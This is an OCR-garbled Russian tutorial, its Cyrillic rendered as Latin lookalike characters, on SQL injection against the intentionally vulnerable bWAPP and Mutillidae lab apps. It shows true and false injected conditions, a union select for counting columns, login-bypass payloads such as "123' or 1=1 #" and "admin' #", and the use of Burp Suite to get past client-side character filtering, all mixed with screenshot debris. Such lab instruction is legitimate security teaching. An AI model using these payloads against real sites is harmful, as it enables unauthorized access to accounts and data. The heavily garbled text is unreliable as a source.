Buaum mycroit mapametp «title». OH 03Ha4aeT, 4ToO MoJIe /71l TOUCKa ObLIO
YCTBIM.

[TponomkxuM ucciienoBaTh 3TOT NapaMeTp, U BBEJIEM JIOXKHOE BhIpaXKEHUE, KOTOPOE
Bawm yxe 3HakoMO, a UMEHHO «iron‘ 1=2#:



e

Burp Intruder Repeater Window Help
Kali |_inu)(r an Offensive Sect. X « bWAPP-SGQL Injection [Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder | Cormr

(_ x ‘Q‘ '® 10.0.2.18."13\-"-;".5'\PP;—[ Intercept T HTTP histary TWEbSockets history Tcptions ]

£+ Most Visited @ Getting Started % Kali Linux ", Kali |- Request to http://10.0.2.18:80

i l Forward J [ Drop J | Intercept is on | Action

@ | (g Parems [ Feaders | rex )

POST /bWAPP/sqli_B.php HTTP/1.1
Host: 18.8.2.18
User-Agent: Mozilla/5.0@ (X11; Linux x86_64; rvie0.@) Gecko/20100101 Firefox/6
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;:;g=0.5

Accept-Encoding: gzip, deflate
an ex—’-r"eme‘y bu Referer: http://10.0.2.18/bWAPP/sqli_G.php

69 Content-Type: application/x-www-form-urlencoded

Content-Length: 39
Cookie: security_lewel=0; PHPSESSID=bB81b49dc7f4ffE05472bf3057b172616
Connection: close
Upgrade-Insecure-Requests: 1

Bu g5 C-T'u_‘J.HL:ijE: Password Create Use

titl+i ron%27+o r+123[)2%:23*.action=search

/ SQL Injection (P

Search for a movje: ‘ iron' or 1=2#

Title Release

ITocne maxxarns kaonku «Forwardy, BugmM:



Burp Intruder Repeater Window Help

Kali Linux, an Offensive Seci X a¥ DWAPP - SQL Injection [Target I Proxy T Spider T Scanner T Intruder I Repeater T Sequencer T Decoder

J Intercept T HTTP history TWEbSocketj history T Options ]

€« C o ® 10.0.2.18/bWAPP]
§ Lt Most Visited @ Getting Started " Kali Linux % Kali T

Forward Drop f Intercept is on ] Action

Y
-9 Raw Params Headers Hex
\ S

an ex+r"eme|y buaﬂy

Eaucjcs i hange Passw ord Create Use

/ SQL Injection (F

Search for a movie:

Title Release

No movies were found!

BWAPF ic licensed under 2 2014 MME B\

Hame Beipaxkenue cpabotano.

MOo>KHO TaKkKe MOUTPaThCs C IPYTUMHU BhIPAKEHUSIMHU, HAITPUMED: «iron‘‘ union



Burp Suite Con

Kali Linux, an Offensive Sec. X | = bWAPP - SQL Injection X | Burp Intruder Repeater Window Help

— [Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder | Com
< X @ @ 10.0.2.18/bWAPP/sqli_6.

__[ Intercept T HTTP history TWebSockets history TOptions ]
£} Most Visited @ Getting Started % Kali Linux "% Kali Training

(#) Request to http://10.0.2.18:80

@ l Forward J l Drop J | Intercept is on | Action

Raw | Params | Headers | Hex

POST /bWAPP/sgli_6.php HTTP/1.1
Host: 10.8.2.18
User-Agent: Mozillas/5.0 (X11; Linux xB6_64; rv:60.0) Gecko/20100101 Firefox/6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;0=0.8
Accept-Language: en-US,en;g=0.5
an EX+|'"EME|Y buaay Wel Accept-Encoding: gzip, deflate
Referer: http://10.0.2.18/bWAPP/sqli_6.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Cookie: security_level=0; PHPSESSID=b81b49dc7f4ff8054f2bf3057b172616
Connection: close
Upgrade-Insecure-Requests: 1

eate User

title{:i ron%27+union+select+1%202%2C3%2C4%2C5%2C06%2C ?“-523.iaction=s earch

/ SQL Injection (POS

Search for a movie“ iron union select 1,2,3,4,5,6,?1ﬂ

Title Release

Mo movies were found!

|Waiting for10.0.2.18... W

B utore BEIBOIMM KOJIMYECTBO CTOJIOIIOB B TAOIHUILIE:




bWAPP - SQL Injection - Mozilla |

Kali Linux, an Offensive Sect. X | ‘@ bWAPP - SQL Injection X +
< ONC NGy ® 10.0.2.18/bWAPP/sqli_6.php
£+ Most Visited @ Getting Started % Kali Linux “y Kali Training "% Kali Tools "y KaliDocs " Kali Forums “§ NetHunter [

an ex’rr‘eme\y buaay web app I

Bugs Change Password Create User Set Sec;ur'i+y Level Reset Credits Blo

/ SQL Inection (POST/Search) /

Search for a movie | Search

Title Release Character Genre IMDb

2 3 5 4 Link

bWAPP is licensed under [[@) ev-rc-ro | © 2014 MME BVBA / Folow

O0xo0x aBTOopu3anum ¢ noMoumbo SQL-MHbEKIMI.

[Tponomxkaem paccmarpuBath SQL-UHBEKIIMA, © HAM MOYXHO BCTAaBIIAThH KO B
CJIEIYIOILIEE BBIPAKECHUE:



OTkpeTe + || [ *s?lﬁ?slt CoxpaHnTb = 0 0 O

https://blog.com/page.php?sm=sm

Select * from accounts where username='timcore' and password='123' and 1=1 #'

123" and 1=1#
123" and 1=2#

123" CODE #
and
order by

Tekct *  LWupuna tabynagum: 8 = Crpl4,Cnb 9 hd BCT

JlaBaiiTe pazbepeM CUTYaIMIO aBTOPU3AIMHY, B ClTy4yae, KOTJa Mbl HE 3HAeM Mapoib.
Bynem neITarbest BOWTH OT UMEHH aIMUHHUCTPATOpa, C UMEHEM «adminy.

OTpenakTupyem Halle BBIpaXKEHUE C KOJOM, PUBEAS €ro K BUAy- «123' or 1=1 #».
HtoroBoe BripaxeHue OyneT BHIIISAALTh, Kak «Select * from accounts where
username='admin' and password='123" or 1=1 #'». 123 — 3T0 HEBepHBIii TAPOJIb, &
1=1 — 370 true, a eciu nocuenHee BbIpaXKEHUE BEPHO, TO U BCE BhIpAXKEHUE
LEJIUKOM OyJIeT BEpPHBIM, BO MHOTOM, OJ1aroiapsi BEIPAKEHUIO «OT»:



OTKpbITE + H EI| ngiﬁ:?:: CoxpaHuTs H = ‘ o e O

https://blog.com/page.php?sm=sm

Select * from accounts where username='timcore' and password='123' and 1=1 #'

123' and 1=1#
123' and 1=2#

Select * from accounts where username='admin' and password='123' or 1=1 #'
123' or 1=1 #

and

order by

Tekct *  LWwowna tabvnsumn: 8 Cro 10. Ctnb 75 - RCT

JlaBaiiTe monpoOyeM cliesiaTh UHBEKIMIO, BBES UMsI MOJIb3oBaTelist «adminy, u
BbIpaxkeHue B nose «Password» - «123% or 1=1 #»:

Mozilla Firefox [- I <]

§ 10.0.2.7/mutillidaefinder X | +

&« c & ® 10.0.2.7/mutillidae/index.php - @ || Q Search o =
£+ Most Visited [Jll Offensive Security " KaliLinux “ KaliDocs “, Kali Tools & Exploit-DB Wy Aircrack-ng g Kali Forums ‘% NetHunter % Kali Training @& Getting Started

@)%« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) L d In Admin: admin (Monkey!)

Home Logout Toggle Hints Toggle Security Reset DB View Log View Captured Data
Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP
e ] Ll
Latest Version / Installation
- 13
« LatestVersion

i « Installation Instructions

« Usage Instructions
P

* Getrid of those pesky PHP errors
« Change Log
« Notes

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack, —
Firefox, Burp-Suite, = Q
Netcat, and these

Mozilla Add-ons back|track

Samurai WTF and B ins all the tools or you may build your own collection

Samurai Web Testing Framework
[N PT——r—rrr k2

#= Mozilla Firefox seems slow... to.. start. | Learn How to Speed It Up ‘ ‘ Don't Tell Me Again | x




B utore mMpl ycnienrHo 0001IUTH aBTOPHU3AINIO, U MBI HAXOMMCS B yUE€THOU 3aIlicu
aaMuHUCTparopa. «Monkey!»- 3To curnarypa aiMuHa.

B OcJaIoM, 06XOI[ ABTOpHU3alliy MOKHO CACJIATh PA3SHBIMUA CHOCO6aMI/I, TaK KaK BCC
3aBUCHUT OT KOJAa Ha CTPAHHUIIC. He BCCraa BBCACHHUC O,I[I/IHO‘{HOﬁ KaBBIYKH
IIOMOTacCT, U CalT He JoMaeTcs. Bam HYXHO IIPOCTO IMOHATH U IIPCACTABIIATH TO,
KaK MOXKCT BBITTIAICTD OIINOKa.

51 mokaxy ele ouH npumep obxona aBropuzanuu. He Tonpko nose i naposus
MOKHO MCIOJIb30BaTh 11l HHbeKIUU. [lone «Namey, Takke XOpOoIIo MOIXOAUT
JUTSL SKCTIEPUMEHTOB.

[IpeacraBuM Haie BeIpakeHHE B BUje AByX nepeMeHHbIX (Name ($UserName),
Password ($Pass)). Beipakenue B «Name» OyneT UMeTh BUA: «admin‘ #»:

‘ OTKpLITE + HE| *sql post | CoxpaHuThb HE‘ (- IO < ]

~/Desktop

https://blog.com/page.php?sm=sm
Select * from accounts where username='timcore' and password='123' and 1=1 #'

123' and 1=1#
123' and 1=2#

Select * from accounts where username='admin' and password='123' or 1=1 #'
123" or 1=1 #

Select * from accounts where username='$UserName' and password='$Pass' or 1=1 #'
admin' #

and

order by

Texet ¥ LupuHa Tabynaumn: 8 = Crp14,Crn6 9 - BCT

BceTaBnsiem KycOk Halero Beipa)keHus, B nepemeHnyto #UserName. B Hem s
yKa3aJl KaBbIUKY, KOTOPAsl MIPEPHIBAECT NATbHEUIIIEE BBIITOJIHEHUE BBIPAKCHUS.




- —
OTkpbITE ¥ H ol ‘

Select * from accounts

123' and 1=1#
123' and 1=2#

Select * from accounts
123' or 1=1 #

*;qlpost CoxpaHnTb H

~(Desktop

https://blog.com/page.php?sm=sm

where username='timcore' and password='123' and 1=1 #'

where username='admin' and password='123"'

Select * from accounts
elect * from accounts
dmin' #

where username='admin' #'
where username='admin' #'

and password='$Pass' or 1=1 #'

or 1=1 #'

and

order by

Tewct *  Wupuna tabynaumm: 8 *

Crp 13, Crnb 80 -

00

BCT

JlaBaiiTe monmpoOyem aBTOPU3UPOBATHCS HA JAHHOM CaiiTe MOBTOPHO, HO C HOBOM
TexXHUKOU. Boipaxenue B noje «Name» OyaeT uMeTh BU - «admin' #», a B mone
«Password» MbI yKaxeM MPOU3BOJIbHbBIN MAPOJIb:

# 10.0.2.7/mutillidaefinde: X ‘ +

Morzilla Firefox

e e

& c @ ® & 10.0.2.7/mutillidae/index.php?page =login.php

« @ ¢ | Q Search

£+ Most Visited [jll Offensive Security " Kali Linux % KaliDocs % Kali Tools % Exploit-DB W Aircrack-ng i Kali Forums ' NetHunter % Kali Training @ Getting Started

[\

@)%« Mutillidae: Born to be Hacked

Home

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Login/Register ~ Toggle Hints  Toggle Security ~ Reset DB View Log

View Captured Data

Not Logged In

‘

Login

OWASP Top 10

Documentation
Resources

/:'H.

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

VLN
#= Mozilla Firefox seems slow... to... start.

—

Please sign-in \

Name admin’ #
Login

Dont have an account? Please register here

Learn How to Speed It Up | ‘ Don’t Tell Me Again

Kmem Ha kHOTIKY «Loginy:

X



Morzilla Firefox [- <]

+ 10.0.2.7/mutillidaefinde: X | +

<« [CIEAY ® 10.0.2.7/mutillidae/index.php - 9 Search I 6
£¥ Most Visited |l Offensive Security % KaliLinux S Kali Docs % Kali Tools  Exploit-DB Wy Aircrack-ng il Kali Forums “ NetHunter '\ Kali Training @& Getting Started

@4« Mutillidae: Born to be Hacked

Logged In Admin: admin (Monkey!)

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Reset DB
Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP
e ] D
Latest Version / Installation
 Latest Version

Toggle Security View Log View Captured Data

Home Logout Toggle Hints

« Installation Instructions
» Usage Instructions
» Getrid of those pesky PHP errors
« Change Log
P « Notes
Site - F dod o |
hacked...err...quality- Samurai WTF and Backtrack all the tools or you may build your own collection
tested with Samurai
WTF, Backtrack, —
Firefox, Burp-Suite, E Q
Netcat, and these 2
Mozilla Add-ons back|track ‘
Samurai Web Testing Framework
VLS i
@ Mozilla Firefox seems slow... to... start. Learn How to Speed It Up Don’t Tell Me Again | X

MBI ycrienrHo BOLUIM MO/ YYETHOM 3anuchio agMuHucTparopa. OObIYHO, B 3TOM
ciiydae, Bl He OyneTe BUIeTh OIUMOKH, U KOJ] COOTBETCTBEHHO.

He Oyny moBTOpSATHCS, HO CHadajia Hy)KHO ITOUTPATh C BRIPAKCHUSIMH, BCTABIISS
KaBBIYKH, ICTUHHBIC M JIOKHBIC BhIpaykeHUs. Hy)KHO IIPaKTUKOBAThCS, U TOTIA
Oynert mpoie padotath ¢ SQL-UHBEKIHAMU.

O0xo07 00J1ee 3aIUIIIEHHO ABTOPU3AIUU ¢ TOMOIIBLI0O SQL-uHbeKuni.

[TponomxaemM 00X0IUTH aBTOPU3ALIMIO HA HAIIEM BeO-caiiTe, HO Tenepb nonpodyeM
MU3MEHUThH HACTPONKHU 0€30MacHOCTH Ha OoJiee 3alUIIeHHEIE.

Ha nanHoMm sTamne ycTaHOBIIEH YPOBEHb 0e30macHOCTH «0», T. €. HauMeHee
3alUIICHHBIN PEXKUAM:



Mozilla Firefox e ® O

¥ 10.0.2.7/mutillidaefinder X | +

&« (G ® 10.0.2.7/mutillidae/index.php?page =home.php - @ || Q Search I o =
%+ Most Visited | Offensive Security “ KaliLinux S KaliDocs " KaliTools & Exploit-DB W Aircrack-ng il Kali Forums “§ NetHunter X Kali Training @& Getting Started

@)%« Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In
Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Version: 2.1.19

Core Controls 4

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP

Top 10
Latest Version / Installation
} »

+ Installation Instructions

+ Usage Instructions

+ Getrid of those pesky PHP errors
+ Change Log

+ Notes

o,

Site ‘ - — -
hacked...err...quality- | WTF and all the tools
tested with Samurai
WTF, Backtrack, —
Firefox, Burp-Suite, = Q
Netcat, and these
Mozilla Add-ons back|track

d or you may build your own collection

Samurai Web Testing Framework

ml"ﬂigi'ﬂﬂ | @ I de

HaMm HyxHO HaxaTh Ha KHONIKY «Toggle Security», 4TOOBI U3MECHUTH HACTPOUKH
0e30macHOCTH Ha «1»:

Mozilla Firefox e ® 0

¥ 10.0.2.7/mutillidaefinde: X ‘+

&« c @ ® 10.0.2.7/mutillidae/index.php?page=home.php e @ || Q Search In @ =
£+ Most Visited [[J Offensive Security *% KaliLinux % KaliDocs “ KaliTools = Exploit-DB Wy Aircrack-ng g Kali Forums " NetHunter “, Kali Training @& Getting Started

Q}@ Mutillidae: Born to be Hacked

Security Level: 1 (Arrogent)

Version: 2.1.19 Hints: Disabled (0 - 1 try harder) Not Logged In

Reset DB

Home Login/Register Toggle Security View Log View Captured Data

Core Controls 4

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP

Top 10
i »
Latest Version / Installation
; »

« Installation Instructions

« Usage Instructions

« Get rid of those pesky PHP errors
« Change Log

= Notes

P

Site
hacked...err...quality- l i WTF and B ins all the tools or you may build your own collection

tested with Samurai
WTF, Backtrack, —
Firefox, Burp-Suite, - C: /
Netcat, and these 3
Mozilla Add-ons back|track ‘

Samurai Web Testing Framework

m...:g.i,_.. [ Toad

JlaBaiiTe monpoOyem 000NTH aBTOPU3ALIMIO MPEBIIYIIIUM CIIOCOOOM, KOTOPBIN 5
WCTIOIB30BAJT pPaHee, a IMEHHO B ToJie «Namey, st mporuiry «admin #», a B mose
«Passwordy» ykaxy 10001 napoJib:



Mozilla Firefox [- I <]

¥ 10.0.2.7fmutillidaefinde: X | +

':(-)‘ - C @ ‘ ® £ 10.0.2.7/mutillidaefindex.php?page=login.php o ] {H |Q Gomnls N @

£+ Most Visited [l Offensive Security S Kali Linux " KaliDocs “\ Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums S NetHunter S Kali Training & Getting Started

Dangerous characters detected. We can't allow these. This all powerful blacklist will stop such attempts.
Much like padlocks, filtering cannot be defeated.

Blacklisting is |33t like |33tspeak.

B utore M1 IIOJIy4acM BCILIBIBAIOIICC OKHO, C OIIOBCIHICHHUCM TOI'O, UTO ObLTIH
O6Hap}I)I(eHBI HCAOIIYyCTUMBIC CUMBOJIBI.

JlaBaiiTe mompoOyeM MpOTECTUPOBATH €ITIe OAMH SKCIUIONT, TIPU KOTOPOM
MOJTb30BaTENh OCTaBalICs 03 n3MeHeHu (admin), a BOT maposib MPUHUMAI BU:

Mozilla Firefox (- O -]

4 10.0.2.7/mutillidaefinde: X ‘ +

-
(\(j) - C @ | ® & 10.0.2.7/mutillidae/index.php?page=login.php oo ¥ | | Q Search I @
¥ Most Visited [{ll Offensive Security % KaliLinux “\ KaliDocs “ KaliTools = Exploit-DB W Aircrack-ng g Kali Forums S, NetHunter S KaliTraining @& Getting Started

®@%¢ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 1 (Arrogent) Hints: Disabled (0 - I try harder) Not Logged In

Reset DB
|
K ==
Please sign-in ‘

>

Home Login/Register Toggle Security View Log View Captured Data

Login

Name l admin ]
S~ Password | .u;;i."....... ]

Site
hacked...err...quality-
tested with Samurai

Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

O

B nrore y Hac BO3HHMKAET Ta )K€ caMasi OIINOKa, UCITOJIb30BaHUS HEIOMYCTUMBIX
CUMBOJIOB. DTa (PUIBTpaIlKs MOXKET UTH KaK CO CTOPOHBI KIIMEHTA, TaK U CO
CTOPOHHI cepBepa. TyT Bce MPOCTO, TaK KaK €CIU PUIBTPALUS TPOXOTUT CO
CTOPOHBI KJIMEHTA, TO OHA paboTaeT mepe] TeM, Kak 3ampoc Oy/ieT OTIpaBieH Ha



cepBep. Ecnu sxe paccmarpuBath GUIBTpAIMIO cepBepa, TO ATO MPOIIECC Mepeaadn
CHMBOJIOB OT KJIUCHTA, T1ie cepBep oOpabaThiBaeT CUMBOJIBI, 0€3 yJacTHs KIMEHTA.

Ecnu gunbTpaiust mpoxoauT cO CTOPOHBI KIUEHTa, TO 3TO OYEHbB JIETKO O00UTH ¢
noMo1so Burp Proxy.

Hy»HO cKOHHEKTUTH Opay3ep ¢ HHCTpyMeHToM Burp Suite.
OT0 nenaeTcs B HECKONIbKO maroB. He Oyay onuceIBaTh, MpOCTO CMOTPUTE

CKPUHHIIOTHI:

Mozilla Firefox (- <]

¥ 10.0.2.7/mutillidaefinde: X | +

< c @ @ & 10.0.2.7/mutillidaefindex.php?page =login.php e @ ¥ || Q Search [} Eﬂl =
£t Most Visited [Jl Offensive Security ' Kali Linux %, KaliDocs % Kali Tools & Exploit-DB W Aircrack-ng i Kali Forums "\ NetHunter 'S Kali Trainir & signintoSync

Q}@ Mutillidae: Born to be Hacked i

© New Private Window Ctri+Shift+P

Version: 2.1.19 Security Level: 1 (Arrogent) Hints: Disabled (0 - | try harder) Not [J Restore Previous Session

Home Login/Register Toggle Security Reset DB View Log View Captured Data oo _ 100% ) + |
:
Log in Edit X B @
OWASP Top 10 L4
I\ Library >

) & Add-ons Ctrl+Shift+A
i »

OpenFile...

Name admin

Save Page As...
Password asssssssssses E Hi

Py o
i Q, Findin This Page... Ctrl+F
Site g

hacked...err...quality- Dont have an account? Please register here Elate 2
tested with Samurai Web Developer >
WTF, Backtrack, @ Hel &

Firefox, Burp-Suite, P

Netcat, and these & Quit

Mozilla Add-ons

2. v

Lo

Preferences - Mozilla Firefox [ c -]

¥ 10.0.2.7/mutillidaefinde: X | %F Preferences x |+

c @ © Firefox | about:preferences | | Q Search mw o =

£t Most Visited [J|l Offensive Security " Kali Linux '\, Kali Docs "% Kali Tools & Exploit-DB W Aircrack-ng i Kali Forums " NetHunter '\ KaliTraining & Getting Started

= Kall - LU
¥ Automatically update search engines
Q Search

n Privacy & Security Performance

¥ Use recommended performance settings Learn more

c Firefox Account
These settings are tailored to your computer’s hardware and operating system

Browsing

Use autoscrolling
v Use smooth scrolling

Always use the cursor keys to navigate within pages

Search for text when you start typing

Network Proxy

@ Firefox Support Configure how Firefox connects to the internet. Learn More Settings...




Preferences - Mozilla Firefox (- JC N -]

+ 10.0.2.7/mutillidaefinde: X | %% Preferences x |+

“ = G o ‘ © Firefox ‘ about:preferences ﬁ| ‘ Q, Search I o =
£+ Most Visited [l Offensive Security % KaliLinux “§ KaliDocs “ KaliTools % Exploit-DB W Aircrack-ng i Kali Forums 'y, NetHunter %, KaliTra

g @& Getting Started

Connection Settings

Configure Proxy Access tothe Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

anual proxy configuration

HTTP Proxy 127.0.01

L Usethis proxvserverforall protocols
SSL Proxy

FTP Proxy
SOCKS Host
SOCKSv4 @ SOCKSVS
Automatic proxy configuration URL

Reload

Cancel oK

N xonnekTuMm BurpSuite:

Burp Suite Community Edition v1.7.36 - Temporary Project @ e 0
Burp Intruder Repeater Window Help

[Targetiw Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]

[ Intercept T HTTP history T WebSockets history Lﬂﬁﬂﬁ-]

. Iy
Proxy Listeners iy
@ Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.
e | Invisibl Redirect Certificate
€] 127.0.0.1:8080 | Per-host
)
>
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating S5L cennections. You can impert er export this certificate for use in other toels or
another installation of Burp.
[ Import | export CA certificate ] [ Regenerate CA certificate ]
Intercept Client Requests
@ Use these settings to control which reguests are stalled for viewing and editing in the Intercept tab.
[ Intercept requests based on the following rules:
[ Add ] Enabled | Operator | Match type | Relationship | Condition
@ File extension Does not match (~gifs|"~jpgs|~pngs|~csss|~jss| ~icos)
O or Request Contains parameters
(] or HTTP method Does not match (get|post)
O And URL Is in target scope » -
v

[lepexoaum Ha Bkiaaky Intercept, u mepexBaTYMK JOIKEH OBITh BKIFOUECH:



Burp Suite Community Edition v1.7.36 - Temporary Project @ ® 0
Burp Intruder Repeater Window Help
[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project opticns T User options T Alerts ]
_H Intercept | HTTP history | WebSockets history | Options |
Forward Drop Action Comr == L_;J
Raw  Hex
&
b
¥
(e ll=<10=10=11 | 0 matches
Ecnu st Xouy nepeiTy Ha J1r00yro CTpaHuILy, I mpuMepa 31o oyaet «Home», To B
BurpSuite oroOpa3uTcs ncuepnbiBaroimas HHGOpMaIs, KOTOPYIO yIaaoch
IICPCXBATUTD:
+ 10.0.2.7/mutillidae/inde: X | + ‘
&) X B ® #& 10.0.2.7/mutillidae/index.php?page =login.phy - Burp Suite Community Edition v1.7.36 - Temporary Project [-JNC I -]
£ Most Visited [l Offensive Security '\ Kali Linux \ KaliDocs '\, KaliTools  Exploit-DB \Aﬂ Burp.Intruder Repeater Window Help
Target [ Fiisy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |
% Mutillidae: [T oo (e Lo |

Core Controls ¥ |

OWASP Top 10 4

Gy o
Documentation y

-

Nam
Passwol
)

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Gecko/20100101 Firefox/60.0
al;q 0.8

x_php?page=login. php
NT195

T10FyCxQVFIAL; PHPSESSID=2946¢chfbad612803199d02c27¢6c069

1
un, 18 Aug 2019 05:17:52 GMT

Dont havé

() (o) () (= ||

Waiting for 10.0.2.7...

[TormpoOyeM aBTOPH30BATHLCS C TIOMOIIBIO JIoTHHA «adminy, B Tiojie Name, u
napons «123' or 1=1 #», B mone «Passwordy:



Mozilla Firefox

1 10.0.2.7/mutillidaefinde: X | +

) C @ e @ ¥ || Q Search
£t Most Visited [l Offensive Security '\ Kali Linux *\ Kali Docs *\ Kali Tools & Exploit-DB W Aircrack-ng U Kali Forums *\ NetHunter \ Kali Training @ Getting Started

® £ 10.0.2.7/mutillidae/index.php?page=login.php

Dangerous characters detected. We can't allow these. This all powerful blacklist will stop such attempts.

Much like padlocks, filtering cannot be defeated.

Blacklisting is 133t like I33tspeak.

Edition v1.7.36 - Temporary Proj oo
Burp Intruder Repeater Window Help . B - - =
Target | Prony, | Spider | Scamner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |
[intercapt | HTTP history | Websockets history | Options |

Tetaen) | cter i 5@

Raw Params  Headers  Hex

Huuero He 6b110 oTnpasieHo B Burp, Tak Kak 3TOT 3arpoc ObLJI OCTAHOBJIEH 0
TOT0, KaK OBLI OTIIpaBiieH B UHTEpHET. UHbIMU cioBaMH, OH ObLT OJIOKHMPOBAH CO
CTOPOHBI KJIMEeHTa. B 3TOM cuTyanuu Hy>KHO W30aBUTHCSI OT OMACHBIX CUMBOJIOB,
KOTOpBIE (PUITBTPYIOTCS Ha KIIMEHTCKON CTOPOHE. MBI MPOCTO BBEACM JIOTHH H
napoJib, KoTopbie monaayT B Burp Suite. B Burp Mbl 106aBUM OnacHbIe CUMBOJIHI,
KOTOPBIE TIO3BOJISIT HAM 0OOWUTH ayTeHTHU(PHKAINIO, MU 3aITyCTHTh KO Ha cepBepe
YKEPTBBI.

C momorpro Burp Mbe1 cMoxkeM 000WTH (QHITBTpAITUIO CO CTOPOHBI KITUEHTA.

Teneps niepeitieM K IpakTUKE, M HA CTPAHUIIE PETUCTPAIIMU 5 BBEIIY B TOJIE
«Name» - admin, a B mosne «Password» - aaa. 910 0OBIYHBIN 3aMPOC, ¥ OH HE OyIET
OJIOKMPOBAH CO CTOPOHBI KIIMCHTA!



Mozilla Firefox

php?page=login.php

& KaliTools ® Exploit-DB Wy Aircrack-ng g1 Kali Forui
p g

m Alln e - L m_fmo =

Burp Intruder Repeater Window Help

Burp Suite Community Edition v1.7.36 - Temporary Project

Muti

dae: Bornto b

Target | Provy | Spider | Scanner T\m:ruder TRepaater TSEquEm:Er TDechEr Tcamparer Taterﬂer Tvmectuptims TUsgruptmrs Alerts

J Intercept T HTTP history TWEESD(kEB history | Options

ty Level: 1 (Arrogent)

# | Reguest to http://10.0.2.7:80
Hints: D d (g2

in/Register

Toggle Security Reset DB

- Forward Drop [ interceptison | Action
View Log

Raw | Params | Headers | Hex

Login

POST /mutillidae/index phpZpage=login php HTTR/1 1
Host: 10.0.2.7

User-Agent: Mozilla/5.0 (X11; Linux xBE_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml, application/xsl;q=0.9,"/*;q=8 8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: grip, deflate

Referer: http://18.8.2 7/mutillidae/index php?page=login. php

Content-Type: application/x-www-form-urlencoded

Content-Langth: 57

= =4 Cookie: showhints=8; BEEFHOOK=1Zfac51jZAkNT19jGQIe9PHNmP4hZ8tW]gyPEeWayKF4nd7ZbligcCoP F4UI4AM3x5]BpKIOfyCxQuFI4L ;
Please sign-i 1 B rkenay aete JEpRETY

Connection: close

Upgrade-Insecura-Requests: 1

Name l admin l username=admin&password=saaslogin-php-submit-button=Login

Password @:

Dont have an account? Please

fcbfba3612803199d02c27 60T

]
J
]
]

0 matct

[lepeitnem Ha Bkiaaky «Params» B Burp Suite 1151 TOro, 40061 OTpEeIaKTUPOBATH
HalIll TapoJib, BOCIOJIb30BABIINCH 3KCIJIOUTOM, KOTOPBIM MBI YK€ UCIIOJIb30BAJIU:

Burp Intruder Repeater Window Help

Burp Suite Community Editionv1.7.36 - Temporary Project

4

e ® 0

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project options T User options T Alerts }

J Intercept T HTTP history T WebSockets history T Optiens ]

w Request to http:/10.0.2.7:80

[ Forward J [ Drop

Raw | Params | Headers | Hex

J [ Intercept is on ] Action

=
=
)

=/

POST reguest to /mutillidae/index. php

Type | Name | value
URL page legin.php
Cockie showhints o
Cookie BEEFHOOK {ZfacS1jZAkNT19{GQIeIPHNmPAhZ OtW) gy PEeWayK F 4nd7Z bUgc CoPf4U4AM 3x5]B pKIOfy Cx QuF|4L
Cockie PHPSESSID 2946fcbfba3612803199d02c27c6c069
|_Body username admin
Body paszvrord aaa
Body legin-php-submit-button Legin

Remove

Ll

]

Body encoding: application/x-www-form-urlencoded

W3menum nosne ¢ umMeHeM «password» Ha «123" or 1=1 #»:



Burp Suite Community Edition v1.7.36 - Temporary Project e e O
Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIeris ]

_[ Intercept T HTTP history T WebSockets history T Options ]

#| Request to http://10.0.2.7:20

l Forward J l Drop J | Interceptison | Action Comrr = EJ EJ

Raw | Params | Headers | Hex

POST request to /mutillidae/index.php

Type | Name | value 1 Add
URL page legin.php

Cockie showhints o e
Cookie BEEFHOOK iZfac51jZAkNT19{GQIe9PHNmMPAhZOHW] gy PEeWay K F 4nd7Z bUgc CoPFAU4AM 3x 5] B pKIOFy CxOvF 4L e
Cookie PHPSESSID 2946fcbfba3612803199d02c27c6c069 Up
Body yzerpame admin ;J
B password 123'0r1=1% |

Body legin-php-submit-button Login e

Body encoding: application/x-www-form-urlencoded

Kmewm nBa paza kHomnky «Forward» u mepexonum Ha BeO-CaiT:

Mozilla Firefox e ® 0
¥ 10.0.2.7/mutillidaefinde: X ‘+

& Cc @ ® 10.0.2.7/mutillidae/index.php oo @ || Q Search

IN @ =
£+ Most Visited [l Offensive Security " KaliLinux % KaliDocs ' KaliTools % Exploit-DB Wy Aircrack-ng g Kali Forums " NetHunter “ Kali Training & Getting Started

@4« Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 1 (Arrogent) Hints: Disabled (0 - I try harder)

Home

